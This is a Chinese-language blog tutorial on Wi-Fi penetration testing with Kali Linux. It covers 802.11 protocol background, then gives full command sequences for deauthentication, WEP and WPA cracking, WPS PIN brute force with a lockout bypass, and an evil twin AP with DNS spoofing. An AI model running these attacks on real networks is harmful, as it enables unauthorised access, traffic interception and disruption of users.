Kali Linux滲透測試——無線滲透

Kali Linux滲透測試——無線滲透

筆記內容參考安全牛課堂苑房弘老師的Kali Linux滲透測試教程,以及文章:
https://blog.csdn.net/qq_38265137/article/details/80370554
https://blog.csdn.net/lee244868149/article/details/52691266

一、基本概念

根據美國通信委員會(FCC,Federal Communications Commission)網絡安全工作組在一份白皮書中的表述,常見的無線通信技術可以分爲移動通信、WWAN、WLAN、WPAN,如圖1所示。這裏只介紹WLAN中IEEE 802.11相關部分。

常見無線通信技術分類

圖1 常見無線通信技術分類

(一)IEEE 802.11協議族

IEEE 802又稱爲LMSC(LAN/MAN Standards Committee,局域網/城域網標準委員會),用於研究局域網和城域網的物理層和MAC層中定義的服務和協議,對應OSI網絡參考模型的最低兩層(即物理層和數據鏈路層)。部分IEEE 802標準如圖2所示:

IEEE 802標準

圖2 IEEE 802標準

IEEE 802.11是1997年802委員會下第11組開發的無線局域網標準,定義了無線數據包的 物理層和鏈路層 ,也是802.11協議族的第一個標準,其物理層定義了工作在2.4GHz的ISM頻段上的直接序列擴頻(DSSS)、跳頻擴頻(FHSS)和一種紅外線傳輸的方式(未實現),鏈路層採用CSMA/CA協議,最高速率2Mbps,隨後發展的協議爲其改進版本,常用的一些802.11標準如圖3所示:
常見802.11標準

圖3 常見802.11標準

1.802.11b
採用補碼鍵控(CCK),速率5.5或11Mbps,在2.4GHz頻段劃分14個重疊的信道(每個國家有所不同,美國11個,歐洲13個,日本14個),如圖4所示,只有三個不重疊信道,最常用的是1、6、11,每個信道22MHz帶寬,注意信道的使用情況與具體的調製方式相關,並不是信道重疊就一定會影響信息傳輸Wi-Fi是802.11b產品的註冊商標,嚴格來說只針對符合802.11b標準的產品。
802.11b信道使用情況

圖4 802.11b信道使用情況

2.802.11a
工作在5GHz,其中5.15-5.35GHz用於室內,5.7-5.8 GHz用於室外,每個信道20MHz帶寬,採用正交頻分複用調製(OFDM),注意此時信道間有重疊,但滿足頻域正交,其信息是互不干擾的,也正因此其速率可以達到54Mbps。2.4GHz頻段干擾源多(微薄、藍牙、無繩電話等),5GHz有更多帶寬空間,可容納更多不重疊信道。

3.802.11g
工作在2.4GHz頻段,每個信道20/22MHz帶寬,採用OFDM調製,與802.11a速率相同,可全局降速向後兼容802.11b,並切換爲CCK信號調製方法。

4.802.11n
雙頻工作模式,工作在2.4GHz或5GHz頻段,每個信道20/40MHz,全面兼容802.11a/b/g,通過幀聚合和塊確認技術改善MAC層開銷及擁塞狀況,採用多進多出天線技術(MIMO),極大增加了傳輸的可靠性,擴大了吞吐量,同時結合OFDM技術,最大可達600Mbps。

5.802.11ac
工作在5GHz頻段,採用更高的帶寬(提升至160MHz)、更多的MIMO空間流、更高階的調製(達到 256QAM),以及多用戶MU-MIMO技術(802.11ac wave2開始採用),進一步提高效率和可靠性,全面兼容舊版本協議,提供更高的吞吐量、更多的用戶接入能力、更少的干擾,802.11ac wave2最大可支持3.47Gbps。

(二)WLAN拓撲

1.Infrastructure

至少包含一個AP和一個STATION,形成Basic Service Set (BSS),AP連接到有線網絡,稱爲Distribution System (DS),DS採用以太網標準(IEEE 802.3),連接到同一個DS的多個AP形成一個Extended Service Set (ESS)。由AP維護SSID,每秒鐘通過Beacon幀廣播約10次SSID,客戶端連接到無線網絡後也會宣告SSID。

在這裏插入圖片描述

圖5 Infrastructure網絡拓撲

2.AD-HOC

也被稱爲Independent Basic Service Set (IBSS),有至少兩個STATION直接通信組成,也成爲Peer to Peer模式,其中一個STATION負責AP工作:廣播SSID,並對其他STA進行身份驗證。這種拓撲結構比較適合小規模、小範圍的WLAN系統組網。
AD-HOC網絡拓撲

圖6 AD-HOC網絡拓撲

3.WDS

通過無線形式連接的多個AP組成的網絡爲WDS,STA之間通信的消息必須通過AP轉發,而不是直接發送。AP之間通信有橋接(Bridging)和中繼(Repeating)兩種方式,橋接會出現兩個單獨的SSID,即使SSID設置成一樣,還是會顯示出多個,其本質是連接兩個或者多個不同的網絡,而中繼不管連多少個網橋,SSID只有一個,其本質是擴大一個網絡的覆蓋範圍。

WDS網絡拓撲

圖7 WDS網絡拓撲

4.MESH

Mesh網絡AP之間通過無線連接,節點部署簡便迅速,Mesh是一個對等網絡,如果某個節點發生故障,報文信息會通過其他備用路徑傳送到目的節點。AP可以根據需要隨時加入或離開網絡,這使得網絡更加靈活。Mesh網絡中,只有Portal節點需要接入到有線網絡,對有線的依賴程度被降到了最低。
如圖8所示,MESH節點包括:

  • MPP(Mesh Portal Point):連接無線Mesh網絡和其它類型的網絡,並與Mesh網絡內部MP/MAP節點進行通信。這個節點具有Portal功能,通過這個節點,Mesh內部的節點可以和外部網絡通信。
  • MP(Mesh Point):在Mesh網絡中,使用IEEE 802.11MAC和PHY協議進行無線通信,並且支持Mesh功能的節點。該節點支持自動拓撲、路由的自動發現、數據包的轉發等功能。MP節點可以同時提供Mesh服務和用戶接入服務。
  • MAP(Mesh Access Point):任何支持AP功能的Mesh Point,可以爲STA提供接入功能。

MESH無線組網拓撲

圖8 MESH網絡拓撲

注:實際使用中大多數無線網絡都是結合了一種或多種不同拓撲結構的混合體。

(三)無線網卡選擇

虛擬機不能橋接使用物理機的無線網卡(會將無線網卡識別爲以太網卡),必須使用外置網卡。無線網卡的選擇是無線滲透成敗的關鍵,必須謹慎選擇。無線滲透網卡沒有所謂的標準,網卡選擇參考Aircrack-ng官網有關兼容性(compatibility)的說明文檔。無線網卡選擇需要注意:

1.芯片品牌

無線網卡品牌有兩種,一個是無線網卡的品牌,如TP-LINK、D-Link、Tenda、Netgear、Linksys等,另一個是無線網卡內置芯片品牌,如Realtek、Ralink、Atheros、 Qualcomm、Broadcom等,要根據無線網卡 內置芯片的品牌和具體型號 來決定適配個人需求的無線網卡以及相應的驅動。對於已經使用的產品,可以通過以下方式確定品牌及型號:

  • Windows根據設備管理器中的驅動信息確定品牌型號,或者在cmd中用systeminfo查看系統信息
  • Linux用dmesglsusbiwconfig查看網卡信息

2.兼容性

(1) 關於MONITOR MODE

  • 對無線滲透至關重要,允許無線網卡沒有任何篩選的抓包(包括802.11幀頭),相當於有線網絡的混雜模式
  • 適合的網卡和驅動不但可以monitor,還可以injection

(2) 查詢網卡的兼容性:

(2) 下載安裝網卡驅動:

  • 根據品牌及具體型號在網上查閱驅動信息
  • 內置芯片的官網網站
  • GitHub
注:
① 天線的接收增益並不是越高越好,增益越高噪聲越多,功耗越大,干擾越大,適當降低增益信號可能更好;
② 外置網卡映射到虛擬機時常不穩定導致不能正常識別,或系統卡死,此時可嘗試將無線網卡重新插拔;
③ dB和dBm的區別,dB是兩個信號間的差異比率,是相對值,當考慮甲的功率相比於乙功率大或小多少個dB時,按10lg(甲功率/乙功率)計算,當考慮甲的電壓相比於乙電壓大或小多少個dB時,要用20log(甲電壓/乙電壓);dBm是功率與1mW進行比較的結果,是確定值,dB power = 10log(signal/reference)

二、抓包分析

(一)開啓監聽

不同廠商的無線網卡開啓監聽模式有所差異,具體還要參閱相關文檔資料。 我開始使用的是RTL8812AU,它就僅支持將wlan0設置爲monitor,不支持新建interface wlan0mon然後設置成monitor。

  • 對於大多數兼容的網卡,可以在wlan0上添加interface wlan0mon,wlan0mon設置爲monitor mode,wlan0選擇其他模式或者關閉:
iwconfig                        # 查看無線網卡信息

iw list                         # 查看無線網卡信息、技術支持情況,非常詳細

iw dev wlan2 scan               # 掃描無線信號,列出詳細參數信息
iw dev wlan2 scan | egrep 'SSID | Channel' # 查找SSID以及其佔用的信道

systemctl stop network-manger   # 無線網卡monitor模式可能與network-manager服務衝突,關閉network-manager服務
ip link set wlan0 up            # 打開網卡
iw dev wlan0 interface add wlan0mon type monitor # 添加網卡偵聽端口wlan2mon並設置爲monitor模式,必須命名爲wlanxmon形式
ip link set wlan0mon up         # 打開偵聽端口,然後就可以利用tcpdump、wireshark等抓包工具通過wlan0mon進行抓包分析

iw dev wlan0mon interface del   # 刪除無線網卡 
  • 對於RTL8812AU,只能在wlan0基礎上設置爲monitor:
ip link set wlan0 down
iw dev wlan0 set type monitor
ip link set wlan0 up

(二)幀頭分析

1.Radiotap Header

802.11ׁ依賴Radiotap完成通信,Radiotap爲802.11幀傳遞額外信息,已成爲802.11幀通信事實上的標準,系統在驅動和API中內建支持Radiotap。

Radiotap Header結構如下:

Version Pad Length Present
8bit 8bit 16bit 32bit
  • Version:一般爲0
  • Pad:作爲字段佔位未使用
  • Length:Radiotap Header長度,不能解析的頭部可直接跳到802.11幀
  • Present:Data段掩碼,對應位爲1則表示有信息,因此Radiotap Header長度是不確定的

用wireshark抓包分析Radiotap Header,如圖9所示,Present部分Flags、Rate、Channel、dBm Antenna Signal、Antenna、RX flags掩碼爲1,其對應的信息跟在Present後邊。

Radiotap Header抓包分析

圖9 Radiotap Header抓包分析

2.802.11 Header

802.11幀結構如圖10所示:

802.11幀結構

圖10 802.11幀結構

其中Header中的Frame control包含了幀的重要信息,每個字段含義如下:
  • Protocol Version(2bit):爲協議版本
  • Type(2bit):幀類型,控制幀(01)、數據幀(10)、管理幀(00)
  • Subtype(4bit):每個類型的幀對應的子類型
  • To DS/From DS(1/1bit):標識幀的傳輸方向,傳向DS或來自DS,其值決定了802.11幀Header中Address1~4的不同定義,00表示不通過AP,01表示從AP傳向STA,10表示從STA傳向AP,11表示兩個AP間通信,如下圖所示:
    ToDs/FromDs與Address對應關係

圖11 ToDs/FromDs與Address對應關係

  • More Fragment(1bit):表示是否還有後續分段的幀,只有單播幀會分段
  • Retry(1bit):重傳,接收端進程使用此值防止幀重複
  • Power Managenment(1bit):活動模式(0)、省電模式(1),STA處於省電模式時向AP發送該值爲1的幀,AP不使用此字段,省電模式STA不接收數據,發送給它的數據由AP暫時緩存
  • More Data(1bit):當AP緩存了至少一個數據單元時,向省電模式的STA發送該值爲1的幀,表示有數據要傳,相應STA喚醒自己並向AP發送PS-Poll幀,取回AP爲其緩存的數據。
  • WEP(1bit):表示數據單元是否被加密,當數據載荷爲空時,該字段爲0
  • Order(1bit):非QoS幀情況下,表示是否嚴格按順序處理
  • Duration/ID(16bit):所有控制幀都使用該字段,其作用隨Type/SubType變化而不同,幀類型爲PS Poll (type:1,subtype:10) 時,表示STA關聯的AID(AP發給STA的識別碼),其他情況該字段作爲一種載波偵聽機制,表示接收下一幀之前需要保持的時間間隔,單位微秒
  • Sequence Control(16bit):包括兩個字段Sequence Number和Fragment Number,Sequence Number是每個幀的編號,Fragment Number是同一幀中不同分段的編號
  • FCS(32bit):發送端對幀的所有內容進行CRC計算,所得結果即爲FCS,接收端進行同樣計算,結果一致時接收該幀並返回ACK,否則丟棄該幀(只對單播幀有效,FCS錯誤的廣播、多播幀可能被接受)
  • Data(變長):數據字段,不同的加密算法會增加一定內容長度,控制幀沒有Data內容

(三)幀類型

1.控制幀(Control Frame)

用於通知設備開始、停止傳輸或連接失敗等情況,控制幀類型如下所示:

控制幀類型

圖12 控制幀類型

  • ACK:接收端收到單播幀後立即回覆ACK確認,多播、廣播無需回覆
  • PS-Poll:AP會通過廣播Beacon幀,根據AID喚醒處於省電模式的STA,STA繼而發送PS-Poll幀,請求從AP緩存取回數據,傳輸結束後恢復省電模式
  • RTS/CTS:作爲CSMA/CA的一種補充手段,避免隱蔽站的問題,進一步降低衝突產生的可能性,在正式通信前通過請求應答機制確定通信介質的可用性,只有在傳輸長幀時使用,傳輸短幀時不使用。Node1在給Node2發送數據前先發送RTS,如果不發生衝突,Node2回覆CTS給Node2,然後開始數據傳輸

2.管理幀(Management Frame)

用於協商、控制STA和AP之間的關係,管理幀類型如下所示:

管理幀類型

圖13 管理幀類型

  • Beacon:AP發送的廣播幀,主要用於廣播SSID,發包間隔時間默認爲102.4ms(可變)
  • Probe:STA通過廣播Probe Request幀,發現連接過的和未連接過的的AP,AP根據Request幀中的ESSID、速率等參數信息,通過Probe Response回覆
  • Authentication:身份認證幀,身份認證過程有多個幀交換過程組成
  • Association/Re-association:身份認證後,STA通過Association/Re-association Request執行關聯操作,加入無線網絡,AP回覆Association/Re-association Response,狀態碼顯示成功或失敗
  • Disassociation/Deauthentication:由AP發出解除關聯或認證

3.數據幀(Data Frame)

用於傳輸通信數據、服務質量控制數據等,數據幀類型如下所示:

數據幀類型

圖14 數據幀類型

  • Data:傳輸用戶數據
  • Null Function:STA用於聲明自己將要進入省電模式

(四)加密類型

認證過程中包含WEP、WPA/WPA2兩類加密方案,如下所示:

1.WEP

WEP身份認證的前提是STA和AP都有配置靜態的WEP祕鑰,認證的目的就是確認兩者使用的祕鑰是否一致。WEP加密方案中STA和AP建立關係的完整過程爲:

① AP定期發送Beacon,使STA更新自己的無線網絡列表
② STA在每個信道廣播Probe Request(非隱藏類型含ESSID,隱藏類型不含ESSID)
③ 每個信道的AP迴應Probe Response,包含ESSID信息
④ STA發送Authentication Request給AP
⑤ AP回覆STA Acknowledge,其中包含了Challenge隨機數(明文)
⑥ STA使用Keystream和Challenge抑或加密,並用Authentication Request發送給AP
⑦ AP對Challenge進行解密,如果解密的明文一致則表示認證成功並回復Acknowledge
⑧ STA給AP發送關聯請求Association Request
⑨ AP給無線終端發送關聯響應Association Response
⑩ 完成認證,進行加密通信


WEP密鑰交換過程

圖15 WEP密鑰交換過程

WEP使用RC4算法加密流量內容,CRC32算法檢查數據完整性,使用24bit初始向量IV。加密過程如圖16所示:

WEP加密流程

圖16 WEP加密流程

IV是動態生成的24bit隨機數初始向量,它和WEP key結合生成隨機種子seed (64/128bits, IV+WEP key)然後運用RC4算法生成祕鑰流Keystream;另一邊,對需要加密的明文進行CRC-32運算,生成 ICV(32位),然後將這個 ICV 追加到 plaintext的後面,將尾部有 ICV的plaintext 與Keystream進行異或運算,得到加密數據,將 IV 添加到加密數據的前面,進行傳送。RC4是對稱加密算法,解密是加密逆運算過程。WEP安全性差,可以在短時間內將其破解,已被淘汰。

2.WPA / WPA2

WPA1 / WPA2是802.11i組爲提高無線安全,開發的兩個新的加密方案,WPA1在安全性能上較WEP已有巨大的提,WPA2進一步提高了安全性能,兩個版本差別主要在於加密套件不同。

區分1:WPA1 WPA2

  • WPA1:802.11i第三版草案,採用TKIP加密套件,使用128位Key和48位IV,RC4加密算法,採用幀計數器避免重放攻擊,MIC作爲完整性校驗,兼容早期版本硬件。

  • WPA2:802.11i完全重新設計實現,採用CCMP加密套件,使用AES加密算法,不兼容早期版本硬件。

區分2:WPA企業 WPA個人

  • WPA個人使用預設的預共享密鑰(WPA-PSK),通過EAPOL協議實現身份認證,適用於家庭環境
  • WPA企業使用EAPOL協議(IEEE 802.1X認證標準)和Radius服務器實現AAA,適用於企業等高安全性環境,IEEE 802.1X認證如圖17所示,STA到AP的認證過程採用EAP,AP到AAA服務器認證採用Radius。、

802.1X認證架構

圖17 802.1X認證標準

(1)認證過程

WPA加密方案中STA和AP建立關係的完整過程爲:

① AP定期發送Beacon,使STA更新自己的無線網絡列表
② STA在每個信道廣播Probe Request(非隱藏類型含ESSID,隱藏類型不含ESSID)
③ 每個信道的AP迴應Probe Response,包含ESSID信息
④ STA給目標AP發送身份認證Authentication,Authentication類型有兩種,0爲開放式(無密碼、WPA/WPA2)、1爲共享式(WEP)
⑤ AP回覆STA Acknowledge
⑥ STA給AP發送關聯請求Association Request
⑦ AP給無線終端發送關聯響應Association Response
⑧ 通過EAPOL協議四次握手密鑰交換(破解的關鍵)
⑨ 完成認證,進行加密通信

(2)四次握手過程
WPA在身份認證過程中使用的密鑰主要是PTK(Pairwise Key)GTK(Group Key),PTK用於STA和AP之間單播通信,GTK用於STA之間以及與AP之間的組播、廣播通信。密鑰交換要進行四步握手生成PTK、GTK,基本過程如下:

WPA密鑰交換過程

圖18 WPA密鑰交換過程


WPA密鑰交換過程抓包

圖19 WPA密鑰交換過程抓包

① AP發送隨機數Anonce給STA,STA生成Snonce,根據ESSID、PSK生成PMK,然後由PMK、Anonce、Snonce、MAC信息計算出PTK;
② STA將Snonce以及PTK的MIC一併發給AP,AP採用同樣算法計算PTK並根據MIC進行校驗;
③ AP計算GTK,並將用PTK加密過的GTK以及MIC一併發給STA;
④ STA收到GTK後計算MIC,比對成功後回覆ACK。

注:Authentication包中的Authentication SEQ和WPA四次握手包中的Message number都是序列,但意義不同。

三、Aircrack-ng

無線滲透和審計神器,包含各種功能的工具套件,主要是網絡檢測嗅探抓包包注入密碼破解

(一)基本使用

1.Airmon-ng

開啓網卡監聽模式

airmon-ng check       # 檢查網卡驅動,顯示一些可能影響監聽模式網卡工作的進程
arimon-ng check kill  # 殺死可能影響監聽模式網卡工作的進程

airmon-ng start wlan0 # 將wlan0置入監聽模式,和之前iw命令作用一樣

2.Airodump-ng

嗅探抓包,默認在各個無線信道輪詢抓包,也可以指定信道

airodump-ng wlan0     # 使監聽模式的網卡開始嗅探抓包 

airodump-ng wlan0 -c 1 --bssid e4:d3:df:ff -w file.cap # -c:指定嗅探的信道,--bssid:指定AP的MAC地址

airodump抓包數據如下所示:

Airodump-ng監聽數據

圖19 Airodump-ng監聽數據

第一列是AP的信息,其中MB表示AP支持的最大速率,#Data表示嗅探的數幀數量,#/s表示最近10秒內,每秒平均抓到的幀的數量,ESSID如果被隱藏則只會顯示長度;

第二列是STA的信息,其中BSSID是關聯AP的MAC地址,(not associated)表示未與AP關聯的STA,但是STA發送的probe包被抓到,Lost判斷最近10秒STA發送丟失的數據包數量,Probes是STA發送probe包中的信息。

3.Aireplay-ng

向無線網絡中注入數據包,注意命令中的<options>分爲 <filter options> 和 <replay options>,前者規定了802.11頭的信息參數,後者規定了信息重放的參數。aireplay-ng有9種Attack modes,具體見help文檔。

aireplay-ng -9 wlan0           
# 檢測包注入環境

aireplay-ng -9 -e myWiFi -a EC:29:0F:FF:D5:E4 
# 指定檢測ESSID和AP MAC地址的注入環境

aireplay-ng -i Ap_wlan1 wlan0  
# 雙網卡環境下做card to card測試1-9攻擊包是否能正常發送

aireplay-ng -0 2 -a <AP_MAC> -c <STA_MAC> wlan0 
# 發送2個僞造STA發給AP的Deauthenticate包

4.Airbase-ng

僞造AP接入點,誘使STA接入,可以獲取身份驗證握手包。

airbase-ng --essid CMCC -c 11 wlan0 
# 僞造開放AP

airbase-ng --essid CMCC -c 11 wlan0 -Z 2
airbase-ng --essid CMCC -c 11 wlan0 -Z 4 
# 僞造AP
# -Z 2:表示WPA2加密,TKIP加密套件
# -Z 4:表示WPA2加密,CCMP加密套件

5.Airdecap-ng

無線抓包幀頭爲802.11,其網絡層、傳輸層、應用層數據是加密狀態,如果提取到了無線密碼,則可以利用airdecap-ng去掉802.11頭,還原被無線加密的上層數據。

airdecap-ng -b <AP MAC> 1.pcap
# 去除802.11頭

airdecap-ng -w <WEP key> -b <AP MAC> 1.pcap
# 解密WEP加密數據
# 必須有與AP建立關聯關係

airdecap-ng -e <ESSID> -p <PSK> -b <AP MAC> 1.pcap
# 解密WPA加密數據
# 抓包文件中必須包含4步握手信息

6.Airserv-ng

通過網絡提供無線網卡服務器,使遠程主機可以利用本地無線網卡監聽本地WLAN數據。

# 服務器端
airserv-ng -p 3333 -d wlan0

# 客戶端
airodump-ng <SERVER_IP>:3333

注意:
1.某些網卡可能不支持客戶端/服務器(C/S)模式
2.遠程進行連接時注意邊界防火牆的過濾

7.Airtun-ng

創建無線隧道,主要實現無線IDS和中繼/重放功能:

(1)無線IDS (wIDS)

對無線流量可以交給IDS實時解包分析,或者先保存抓包文件,後續交給IDS再重放進行分析。

airtun-ng -a <AP MAC> -w <WEP key> wlan0
# 建立隧道,偵聽WEP加密的無線數據

airtun-ng -a <AP MAC> -p <PSK> -e <ESSID> wlan0
# 建立隧道,偵聽WPA加密的無線數據

ip link set at0 up
# 建立隧道後會建立偵聽接口at0,開啓at0
# 接收到握手信息後纔會正常抓取無線解密的數據包
# 利用at0抓包後交給IDS實時分析,或抓包保存後續再重放進行分析
# 理論上支持多AP的wIDS,但2個以上時可靠性會下降

(2)中繼/重放 (Repeate/Replay)

① Repeate:擴大無線信號覆蓋範圍,需要兩塊無線網卡置入監聽模式,網卡之間橋接,網卡1接收到的數據包通過網卡2發送

arimon-ng start wlan0
airmon-ng start wlan1

airtun-ng -a <AP Source MAC> --repeat  --bssid <AP Source MAC> -i wlan0
wlan1
# -a <AP MAC>:發包的源地址
# --bssid <AP MAC>:過濾只轉髮指定源地址的包
# wlan0:收包網卡
# wlan1:發包網卡

② Replay:將抓取的CAP文件重放到制定網卡,只需要一個網卡

airtun-ng -a <AP Source MAC> -r 1.cap <interface>

8.其他工具

(1)Fern WiFi Cracker

集成Aircrack-ng、Reaver等工具,完全圖形化操作界面。注意在運行Fern WiFi Cracker之前要使用airmon-ng check kill殺掉可能影響網卡切換監聽模式的進程。

(2)Kismet

基於瀏覽器/服務器(B/S)架構,網頁操作界面,結合GPS模塊,可以將收集的無線數據導入谷歌地球等地圖軟件中,結合地圖顯示無線信息。

注:圖形界面會消耗一定系統資源,對無線掃描和破解性能會造成一定影響。

(二)攻擊場景

1.MAC地址綁定攻擊

思路: airodump偵聽數據包,發現正常建立連接的設備,複製其MAC地址,作爲僞造的MAC地址,就可以繞過MAC地址過濾,但是這種方法會有丟包,因爲局域網中MAC地址有重複

airmon-ng stop wlan0
ip link set wlan0 down

macchanger -m 12:34:56:78 wlan0 
# 將網卡wlan0的MAC地址修改爲12:34:56:78

ip link set wlan0 up

2.WEP攻擊

思路:WEP認證過程中會傳遞Challenge明文和密文,兩者抑或即可得出Keystream,利用Keystream可以和AP建立連接,然後重放大量ARP包,以嗅探IV(64位建議抓取25W以上,128位建議抓取150W以上,以airodump-ng界面的#Data計數),只要IV數量足夠多就可以百分百分析出共享密鑰。

第一階段:獲取Keystream,Keystream獲取後在airodump界面有所顯示

airmon-ng start wlan0

aireplay-ng -0 2 -a 12:34:56:78 -c A1:B2:C3:D4 wlan0
# 僞造STA(A1:B2:C3:D4)發給AP(12:34:56:78)的Deauthenticate
# 以讓STA和AP通過Authentication重新認證,以此提高獲取Keystream的效率
# 獲取到的Keystream文件後綴爲.xor

第二階段:通過Keystream與AP建立連接

aireplay-ng -1 60 -e myWiFi -y wep-12-56-FF-AB-32-B6-DB.xor -a 12:34:56:78 -h AA:BB:CC:DD
# 利用抓取到的Keystream文件僞造Authentication,使攻擊者STA(MAC:AA:BB:CC:DD)與AP(12:34:56:78)建立連接,每60秒發一個keep alive包

第三階段:重放ARP Request,獲取大量IV,破解密鑰

aireplay-ng -3 -b 12:34:56:78 -h AA:BB:CC:DD wlan0
# 重放ARP請求,只有當捕獲到合法APR Request和Response時纔會不斷重放

aireplay-ng -0 2 -a 12:34:56:78 -c A1:B2:C3:D4 wlan0
# 使STA和AP通過Deauthentication重新認證,以重新進行ARP請求
# 這樣會使aireplay捕獲到合法ARP,ARP中有IV,作爲破解分析的憑證

aircrack-ng wep-01.cap
# 利用嗅探的數據包破解共享密鑰

3.WPA個人攻擊

針對WAP個人,只有一種破解方法——基於字典的暴力破解

思路一:在AP和STA已建立連接的環境中,抓包獲取密鑰交換四步握手信息,使用字典暴力破解

使用儘可能多的過濾規則對目標AP進行抓包

airodump-ng --bssid 12:34:56:78 -c 1 wlan0 -w wpa-01.cap

aireplay-ng -0 2 -a 12:34:56:78 -c A1:B2:C3:D4 wlan0

當抓到密鑰交換四步握手後,會出現WPA handshake,如下所示:

嗅探WPA四步握手包

圖20 嗅探WPA四步握手包

最後進行密碼爆破,成功與否取決於字典質量和運行速度

aircrack-ng -w /usr/share/wordlist/rockyou.list wpa-01.cap

思路二:在只有STA存在的環境中,利用其發的Probe Request中的信息,僞造AP,抓包獲取密鑰交換四步握手信息,最後使用字典暴力破解

airbase-ng --essid CMCC -c 11 wlan0 -Z 2
airbase-ng --essid CMCC -c 11 wlan0 -Z 4 
# 僞造AP
# -Z 2:表示WPA2加密,TKIP加密套件
# -Z 4:表示WPA2加密,CCMP加密套件

airodump-ng --bssid 12:34:56:78 -c 11 wlan0 -w wpa-02.cap
aireplay-ng -0 2 -a 12:34:56:78 -c A1:B2:C3:D4 wlan0

aircrack-ng -w /usr/share/wordlist/rockyou.list wpa-02.cap

WPA破解過程中更爲重要的是提高密碼破解效率,可以利用其他工具如:

  • John the Ripper:基於規則擴展密碼字典,在配置文件/etc/john/john.conf中配置規則,如在[List.Rules:Wordlist]規則末尾加上$[0-9]$[0-9]$[0-9]$[0-9],表示在已有字典中符號末尾添加4位0-9的數字。
john --wordlist=pass.list --rules --stdout | aircrack-ng -e myWiFi -w - wpa.cap
# - 表示管道符號前的標準輸出

4.WPS攻擊

WPS是WiFi聯盟2006年開發的一項技術,通過PIN碼簡化無線接入的過程,無需輸入複雜的密碼,路由器和網卡各安一個按鈕就能接入無線,PIN碼是分爲前後各4位的2段,共8位數字,在身份驗證過程中兩段相對獨立。其安全性能存在較大隱患:

  • 身份驗證過程中,STA可以根據AP返回信息判斷前4位是否正確,而後4位中,最後一位是checksum,所以爆破PIN碼只需要11000次嘗試;

  • 很多廠家的無線路由器無法關閉WPS功能,即便在Web配置界面關閉,一般也不會生效;

  • WPS標準本身沒有設計鎖定機制,但出於安全考慮,大多數廠商已設定鎖定機制,或者不支持WPS;

  • PIN碼破解難度較低,防禦困難,可以利用PIN碼一次性提取PSK。

思路:使用掃描工具發現支持WPS的AP,然後使用工具直接爆破。

爆破時注意限速,繞過鎖定機制,一旦觸發鎖定,可嘗試耗盡AP連接數,令其重啓並解除WPS鎖定。

發現支持WPS的AP

airodump-ng wlan0 --wps

爆破PIN碼

reaver -i wlan0 -b 12:34:56:78 -c 11 -vv
# 爆破PIN碼,然後爆破PSK
 
reaver -i wlan0 -b 12:34:56:78 -vv -p 88888888
# -p:指定PIN碼,爆破PSK

利用綜合工具:Wifite

Wifite是一款自動化無線密碼破解工具,調用aircrack-ng、pyrit、reaver、tshark等工具對無線網絡進行審計,全自動化過程,傻瓜式操作。使用wifite命令後進入信號掃描界面,找到AP目標後ctrl+c停止掃描,輸入AP目標的序號,然後Wifite自動調用工具進行破解,其會先用WPS破解,如果破解失敗則會採用WPA或WEP方式進行破解,整個過程完全自動化完成。

5.Evil Twin AP、Rogue AP

思路:配置雙網卡,網卡1僞造AP,網卡2連接真實網絡,同時設置雙網卡爲橋接狀態,誘使目標接入僞造AP,然後使用工具對網卡1進行嗅探或DNS欺騙等攻擊。

airbase-ng -a <AP MAC> --essid “CMCC-Free” -c 11 wlan0
# 用wlan0創建名爲“CMCC-Free”的AP,新建的網卡接口默認爲at0
# MAC地址指定爲<AP MAC>,與真實AP相同可提高僞造AP的隱蔽性

apt-get install bridge-utils
# 下載橋接工具套件

brctl addbr bridge
# 創建網橋

brctl addif bridge eth0
# 配置網橋一端接口爲eth0

brctl addif bridge at0
# 配置網橋另一端接口爲wlan0

ip add del <IP_ADDR_ETH0> dev eth0
ip addr del <IP_ADDR_AT0> dev at0
# 將eth0和at0現有IP刪除
# 作爲橋接網卡成員不能有IP地址

ip link set eth0 up
ip link set at0 up

ip addr add IP_<IP_ADDR_ETH0> dev bridge
ip link set bridge up
# 分配給網橋bridge IP地址

ip route add default via <GW_IP> 
# 添加網關IP

echo 1 > /proc/sys/net/ipv4/ip_forward
# 開啓IP轉發功能

然後可以利用tcpdump、wireshark等抓包工具嗅探at0接口,或者使用dnsspoof等工具進行域名欺騙等攻擊

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章